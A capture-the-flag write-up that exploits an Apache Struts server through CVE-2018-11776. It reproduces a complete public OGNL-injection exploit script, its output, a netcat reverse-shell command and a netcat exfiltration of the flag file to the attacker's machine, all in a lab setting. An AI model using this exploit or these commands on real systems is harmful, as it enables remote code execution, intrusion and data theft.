I have no knowledge about Struts, as well as it seems the page contains the default examples. Let’s try to pwn it without going into the detail how Struts actually works…
Opening cvedetails.com we are greeted with some red boxes right away. CVE-2018-11776 looks pretty nice, it has a CVSS score of 9.3 and was published only a few months ago. It requires the precondition that alwaysSelectFullNamespace
to be set to true
as described in the announcement blog post, and we do not know the version of Struts greeting us. But this simply means our success is not guaranteed, but still possible.
There are multiple exploits linked in exploit-db.com. I just went with the first one which is a simple python script:
#!/usr/bin/python
# -*- coding: utf-8 -*-
# hook-s3c (github.com/hook-s3c), @hook_s3c on twitter
import sys
import urllib
import urllib2
import httplib
def exploit(host,cmd):
print "[Execute]: {}".format(cmd)
ognl_payload = "${"
ognl_payload += "(#_memberAccess['allowStaticMethodAccess']=true)."
ognl_payload += "(#cmd='{}').".format(cmd)
ognl_payload += "(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))."
ognl_payload += "(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'bash','-c',#cmd}))."
ognl_payload += "(#p=new java.lang.ProcessBuilder(#cmds))."
ognl_payload += "(#p.redirectErrorStream(true))."
ognl_payload += "(#process=#p.start())."
ognl_payload += "(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))."
ognl_payload += "(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))."
ognl_payload += "(#ros.flush())"
ognl_payload += "}"
if not ":" in host:
host = "{}:8080".format(host)
# encode the payload
ognl_payload_encoded = urllib.quote_plus(ognl_payload)
# further encoding
url = "http://{}/{}/help.action".format(host, ognl_payload_encoded.replace("+","%20").replace(" ", "%20").replace("%2F","/"))
print "[Url]: {}\n\n\n".format(url)
try:
request = urllib2.Request(url)
response = urllib2.urlopen(request).read()
except httplib.IncompleteRead, e:
response = e.partial
print response
if len(sys.argv) < 3:
sys.exit('Usage: %s <host:port> <cmd>' % sys.argv[0])
else:
exploit(sys.argv[1],sys.argv[2])
I copied the script into exploit_db_45262.py
. Let’s try out if the exploit is working on our target:
$ ./exploit_db_45262.py 172.16.67.149:8080 "ls"
[Execute]: ls
[Url]: http://172.16.67.149:8080/%24%7B%28%23_memberAccess%5B%27allowStaticMethodAccess%27%5D%3Dtrue%29.%28%23cmd%3D%27ls%27%29.%28%23iswin%3D%28%40java.lang.System%40getProperty%28%27os.name%27%29.toLowerCase%28%29.contains%28%27win%27%29%29%29.%28%23cmds%3D%28%23iswin%3F%7B%27cmd.exe%27%2C%27/c%27%2C%23cmd%7D%3A%7B%27bash%27%2C%27-c%27%2C%23cmd%7D%29%29.%28%23p%3Dnew%20java.lang.ProcessBuilder%28%23cmds%29%29.%28%23p.redirectErrorStream%28true%29%29.%28%23process%3D%23p.start%28%29%29.%28%23ros%3D%28%40org.apache.struts2.ServletActionContext%40getResponse%28%29.getOutputStream%28%29%29%29.%28%40org.apache.commons.io.IOUtils%40copy%28%23process.getInputStream%28%29%2C%23ros%29%29.%28%23ros.flush%28%29%29%7D/help.action
LICENSE
NOTICE
RELEASE-NOTES
RUNNING.txt
bin
conf
include
lib
logs
native-jni-lib
temp
tmp
velocity.log
webapps
work
The output looks pretty nice. We verified the exploit is working, let us simplify our life and build a reverse shell to poke around on the server in an interactive manner.
To do this we use a simple reverse shell using netcat
. It requires tools found on any typical Linux system and is therefore pretty easy to invoke.
On our system, we open a listening port to which our target can connect to:
$ nc -lvp 1234
On the target, we need to start the reverse shell which connects back to us using netcat
as well. After connecting, it starts /bin/sh
on the remote host and links stdin/stdout to the TCP connection, which allows us to execute shell commands remotely:
$ ./exploit_db_45262.py 172.16.67.149:8080 "nc 172.16.67.148 1234 -e /bin/sh"
After connecting, we can try to find the flag. In our case find / -name "*hearts*"
proved successful, and we were able to extract a valid flag:
$ find / -name "*hearts*"
/usr/local/tomcat/tmp/10_of_hearts
$ md5sum /usr/local/tomcat/tmp/10_of_hearts
38b8c45772c8d254144d4e4f597bc81a /usr/local/tomcat/tmp/10_of_hearts
I also extracted the flag found on the server, just for fun. Now we send /usr/local/tomcat/tmp/10_of_hearts
to our system using netcat
:
$ nc -lvp 1234 > 10_of_hearts.png &
$ ./exploit_db_45262.py 172.16.67.149:8080 "nc 172.16.67.148 1234 < /usr/local/tomcat/tmp/10_of_hearts"